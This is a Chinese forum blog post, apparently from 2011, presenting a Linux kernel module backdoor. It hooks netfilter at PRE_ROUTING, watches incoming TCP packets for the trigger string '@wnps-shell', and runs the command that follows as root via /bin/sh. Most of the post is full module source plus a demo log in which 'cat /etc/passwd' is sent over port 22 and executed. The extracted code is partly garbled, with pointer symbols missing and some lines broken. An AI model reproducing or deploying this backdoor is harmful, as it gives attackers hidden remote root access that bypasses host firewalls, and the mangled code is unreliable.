注册 登录
自由的生活_软路由 返回首页

心想事成的个人空间 https://bbs.routerclub.com/?681 [收藏] [复制] [分享] [RSS]

日志

一个内核模块实现的后门

已有 1373 次阅读2011-5-28 13:47 |个人分类:内核|

前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包, hook点是NF_IP_PRE_ROUTING,
因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门,
wnps就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个demo用来演示分析tcp包的内容, 分析出里面的命令, 然后去执行它,
有点类似以前的icmp, ip包后门, 只不过这些都在内核来完成, 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。


wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh)
open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd
> /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58


demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook:
function:hook_func-L125: got the tcp key .
[ 1029.692981] hook:
function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[
1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root
root 1.7K 2009-06-04 08:08 pass.log


+---------------------------------------------------------------------+


C++代码
#include <linux/kernel.h>
#include
<linux/init.h>
#include <linux/module.h>
#include
<linux/version.h>
#include <linux/string.h>
#include
<linux/kmod.h>
#include <linux/vmalloc.h>
#include
<linux/workqueue.h>
#include <linux/spinlock.h>

#include <linux/socket.h>
#include <linux/net.h>

#include <linux/in.h>
#include <linux/skbuff.h>

#include <linux/ip.h>
#include <linux/tcp.h>

#include <linux/netfilter.h>
#include
<linux/netfilter_ipv4.h>
#include <linux/icmp.h>

#include <net/sock.h>
#include <asm/uaccess.h>

#include <asm/unistd.h>

#define HOOK_DEBUG


#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \

printk("hook: function:%s-L%d: "format, FUNCTION, LINE, ##args);

#else
#define DbgPrint(format, args...) do {} while(0);

#endif

#define TCP_SHELL_KEY "@wnps-shell"


#define PORT_NUM 6
#define IP_NUM 20
#define
BUFF_NUM 512

MODULE_LICENSE("GPL");

MODULE_AUTHOR("wzt");

struct exec_work {
struct
work_struct work;
char cmd;
};

static
struct nf_hook_ops nfho;

int kexec_user_app(void
data)

{
struct exec_work work = data;
int ret;

char
argv[] = {"/bin/sh", "-c", work->cmd, NULL};
char
envp[] = { "HOME=/",
"TERM=linux",

"PATH=/sbin:/usr/sbin:/bin:/usr/bin",

NULL };
ret = call_usermodehelper(argv[0], argv, envp,
1);

return ret;
}

int
execute_user_command(char
cmd)
{
struct exec_work
exec_work;

exec_work = kmalloc(sizeof(struct exec_work),
GFP_ATOMIC);
exec_work->cmd = kmalloc(1024
sizeof(char),
GFP_ATOMIC);

INIT_WORK(&exec_work->work,
kexec_user_app);
strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);


schedule_work(&exec_work->work);


return 0;
}

unsigned int hook_func(unsigned int hooknum,

struct sk_buff *skb,

const struct net_device
in,
const struct
net_device out,
int (
okfn)(struct sk_buff ))

{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)

struct sk_buff
sk = skb_copy(skb, 1);
#else
struct
sk_buff sk = skb;
#endif
struct iphdr ip;

struct tcphdr
tcphdr;
char buf[BUFF_NUM], data = NULL;

char
p;

if (!sk)
return
NF_ACCEPT;

#if LINUX_VERSION_CODE >=
KERNEL_VERSION(2,6,22)
ip = ip_hdr(sk);
#else
ip
= sk->nh.iph;
#endif

switch (ip->protocol)
{
case 1:
return
NF_ACCEPT;

case 6:

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)

tcphdr = ip_hdr(sk);

tcphdr =

(struct tcphdr )((void )sk->data +

((struct iphdr
)sk->data)->ihl 4);

data = (char )((int
)tcphdr + (int)(tcphdr->doff));
#else

tcphdr = (struct tcphdr )((__u32 )ip + ip->ihl);


data = (char )((int )tcphdr + (int)(tcphdr->doff));
#endif


/
filter
the connected tcp packet
*/
if
((p = strstr(data, TCP_SHELL_KEY)) != NULL) {

DbgPrint("got the tcp key .\n");
p +=
strlen(TCP_SHELL_KEY) + 1;
DbgPrint("%s\n", p);

execute_user_command(p);

goto out;
}

out:

memset(buf, '\0', BUFF_NUM);


return NF_ACCEPT;

default:

return NF_ACCEPT;
}
}


static int kexec_test_init(void)
{
printk("kexec
test start ...\n");

nfho.hook = hook_func;

nfho.owner = NULL;
nfho.pf = PF_INET;

#if
LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
nfho.hooknum =
NF_INET_PRE_ROUTING;
#else
nfho.hooknum =
NF_IP_PRE_ROUTING;
#endif

nfho.priority =
NF_IP_PRI_FIRST;

nf_register_hook(&nfho);


return 0;
}

static void kexec_test_exit(void)

{
printk("kexec test exit ...\n");

nf_unregister_hook(&nfho);
}


module_init(kexec_test_init);
module_exit(kexec_test_exit);


路过

雷人

握手

鲜花

鸡蛋

评论 (0 个评论)

facelist doodle 涂鸦板

您需要登录后才可以评论 登录 | 注册

QQ|Archiver|手机版|小黑屋|软路由 ( 渝ICP备15001194号-1|渝公网安备 50011602500124号 )

GMT+8, 2026-7-29 09:18 , Processed in 0.069369 second(s), 7 queries , Gzip On, Redis On.

Powered by Discuz! X3.5 Licensed

© 2001-2026 Discuz! Team.

返回顶部